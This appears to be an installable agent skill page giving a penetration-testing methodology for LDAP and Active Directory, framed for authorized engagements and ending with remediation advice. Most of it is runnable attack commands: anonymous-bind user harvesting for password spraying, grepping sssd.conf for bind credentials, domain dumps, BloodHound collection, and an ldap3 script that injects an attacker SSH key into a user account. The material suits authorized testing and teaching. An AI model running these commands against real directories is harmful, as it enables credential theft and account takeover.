pentesting-ldap

star 618

Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory during authorized engagements. Covers anonymous/null bind enumeration, naming-context discovery, user/group/computer extraction with ldapsearch and netexec, credentialed domain dumping (ldapdomaindump, windapsearch, BloodHound), cleartext credential sniffing, writable-attribute abuse (sshPublicKey), and harvesting bind creds from client configs.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-ldap description: Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory during authorized engagements. Covers anonymous/null bind enumeration, naming-context discovery, user/group/computer extraction with ldapsearch and netexec, credentialed domain dumping (ldapdomaindump, windapsearch, BloodHound), cleartext credential sniffing, writable-attribute abuse (sshPublicKey), and harvesting bind creds from client configs. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • ldap
  • active-directory
  • enumeration
  • bloodhound version: '1.0' author: xalgorix license: Apache-2.0

Pentesting LDAP (ports 389/636/3268/3269)

When to Use

  • During authorized AD/directory assessments when 389, 636, 3268, or 3269 is open
  • When you need to enumerate users, groups, computers, and the password policy
  • When testing for anonymous/null binds that expose the directory unauthenticated
  • When you have valid credentials and want a full domain dump or BloodHound collection
  • When assessing Linux hosts integrated with LDAP/AD for leaked bind credentials in client configs

Quick Enumeration

# Confirm service and grab public info (anonymous)
nmap -n -sV --script "ldap* and not brute" <IP>
nmap -p 389 --script ldap-search -Pn <IP>

# Naming context / rootDSE (base DN autodetected) — no creds
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -s base -b '' "(objectClass=*)" "*" +

# netexec LDAP module
netexec ldap <DC_FQDN> -u '' -p ''                      # anonymous probe
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"

Critical: Checks Most Often Missed

  1. Anonymous / null bind — legacy or misconfigured directories allow unauthenticated reads of the entire tree: users, groups, computers, attributes, and the password policy. Test ldapsearch -x -D '' -w '' and netexec ldap -u '' -p ''.
  2. Cleartext LDAP (no TLS) — plain 389 lets you sniff bind credentials on the wire; also enables a downgrade MITM where a TLS client falls back to cleartext.
  3. Writable user attributes — if you can modify sshPublicKey, and SSH reads keys from LDAP, you can log in as that user even without their password. Check write access to high-value attributes.
  4. Bind creds in client configs — on LDAP-joined Linux, /etc/sssd/sssd.conf, /etc/nslcd.conf, and /etc/ldap/ldap.conf often hold reusable ldap_default_bind_dn + ldap_default_authtok. World-readable configs are a quick win.
  5. userPassword / description leakage — directory entries sometimes store passwords or password hints in readable attributes; grep query output for them.

How to CONFIRM: an anonymous bind is confirmed when an unauthenticated ldapsearch -x returns directory entries (not just rootDSE). If you see Operations error ... successful bind must be completed, the bind is rejected (anonymous disabled or creds invalid).

Workflow

Step 1: Enumerate (naming context, objects, users)

# Discover the naming context, then dump objects
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -b "DC=<sub>,DC=<tld>"

# Anonymous user harvest via netexec
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

# python ldap3 anonymous probe
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
c = ldap3.Connection(s); print(c.bind()); print(s.info)
PY

Step 2: Authenticate (null bind, valid creds, GSSAPI)

# Check null vs valid creds (watch for "bind must be completed")
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "DC=<sub>,DC=<tld>"

# Kerberos (GSSAPI) bind instead of NTLM/simple
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<sub>,DC=<tld>"

# Harvest bind creds from LDAP client configs (post-foothold)
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

Step 3: Exploit / Extract (domain dump, targeted queries)

# Extract specific objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "CN=Users,DC=<sub>,DC=<tld>"
ldapsearch ... -b "CN=Domain Admins,CN=Users,DC=<sub>,DC=<tld>"     # privileged group
ldapsearch ... -b "CN=Computers,DC=<sub>,DC=<tld>"                  # computers

# Grep for passwords in results
ldapsearch ... -b "DC=<sub>,DC=<tld>" | grep -i -A2 -B2 "userpas"

# Full domain dump
ldapdomaindump <IP> -u '<domain>\<user>' -p '<pass>' -o /tmp/ldd

# Windows-domain enumeration helper
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --da
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --privileged-users

Step 4: Post-access / abuse and lateral movement

# BloodHound collection via netexec LDAP
nxc ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

# Writable-attribute abuse: inject your SSH key into a user (ldap3)
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', port=636, use_ssl=True)
c = ldap3.Connection(s, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
c.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
         {'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@host'])]})
print(c.result)
PY

# Crack offline LDAP DB hashes if filesystem access obtained
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Key Concepts

Concept Description
LDAP / LDAPS Directory access protocol; 389 cleartext, 636 over TLS
Global Catalog Forest-wide partial replica on 3268 (LDAP) and 3269 (LDAPS)
Naming context / base DN Root of the directory tree (e.g. DC=corp,DC=local)
Anonymous/null bind Unauthenticated connection that may expose directory data
DN / RDN Distinguished Name; the unique path to an object
LDIF LDAP Data Interchange Format for records and update operations
Writable attribute abuse Modifying attributes like sshPublicKey to gain access
rootDSE Server metadata (supported versions, naming contexts) readable pre-bind

Tools & Systems

Tool Purpose
ldapsearch Core query tool; supports simple, null, and GSSAPI binds
netexec / crackmapexec (ldap) Anonymous queries, BloodHound collection, spraying
ldapdomaindump Full domain object dump to HTML/JSON/grep
windapsearch Enumerate users/groups/computers/privileged users via LDAP
python ldap3 Scripted enumeration and attribute modification
BloodHound Graph analysis of AD attack paths from LDAP data
godap / JXplorer / Apache Directory Studio Interactive LDAP clients

Common Scenarios

Scenario 1: Anonymous Bind Full Disclosure

A misconfigured DC allows null binds. netexec ldap <DC> -u '' -p '' --query "(sAMAccountName=*)" dumps every user and the password policy, seeding a targeted password spray.

Scenario 2: Bind Creds in sssd.conf

A world-readable /etc/sssd/sssd.conf on a Linux host exposes ldap_default_bind_dn and ldap_default_authtok, which authenticate to the directory and pull privileged group memberships.

Scenario 3: sshPublicKey Injection

The tester can modify a service account's sshPublicKey. After injecting an attacker key, SSH (configured to read keys from LDAP) grants login as that account.

Scenario 4: Credentialed BloodHound

With a valid low-priv credential, nxc ldap ... --bloodhound -c All collects the graph, revealing a short path from the compromised user to Domain Admins.

Output Format

## LDAP Finding

**Service**: LDAP / LDAPS
**Severity**: <Critical|High|Medium>
**Host**: <IP>:389/636 (GC 3268/3269)
**Base DN**: <DC=corp,DC=local>

### Summary
<What was found: anonymous bind, cleartext creds, writable attribute, leaked bind creds>

### Extracted Data
| Object Type | Count / Detail |
|-------------|----------------|
| Users | <n> (sAMAccountName harvested) |
| Privileged groups | Domain Admins membership exposed |
| Password policy | <details> |

### Evidence
- Command: <ldapsearch / netexec query>
- Output: <entry/attribute excerpt>

### Recommendation
1. Disable anonymous/null LDAP binds
2. Enforce LDAPS (TLS) and require channel binding / signing
3. Restrict read access to sensitive attributes; remove passwords from attributes
4. Lock down LDAP client config files (sssd.conf, nslcd.conf) to root-only
5. Review write permissions on user attributes (sshPublicKey, scriptPath)
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-ldap
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator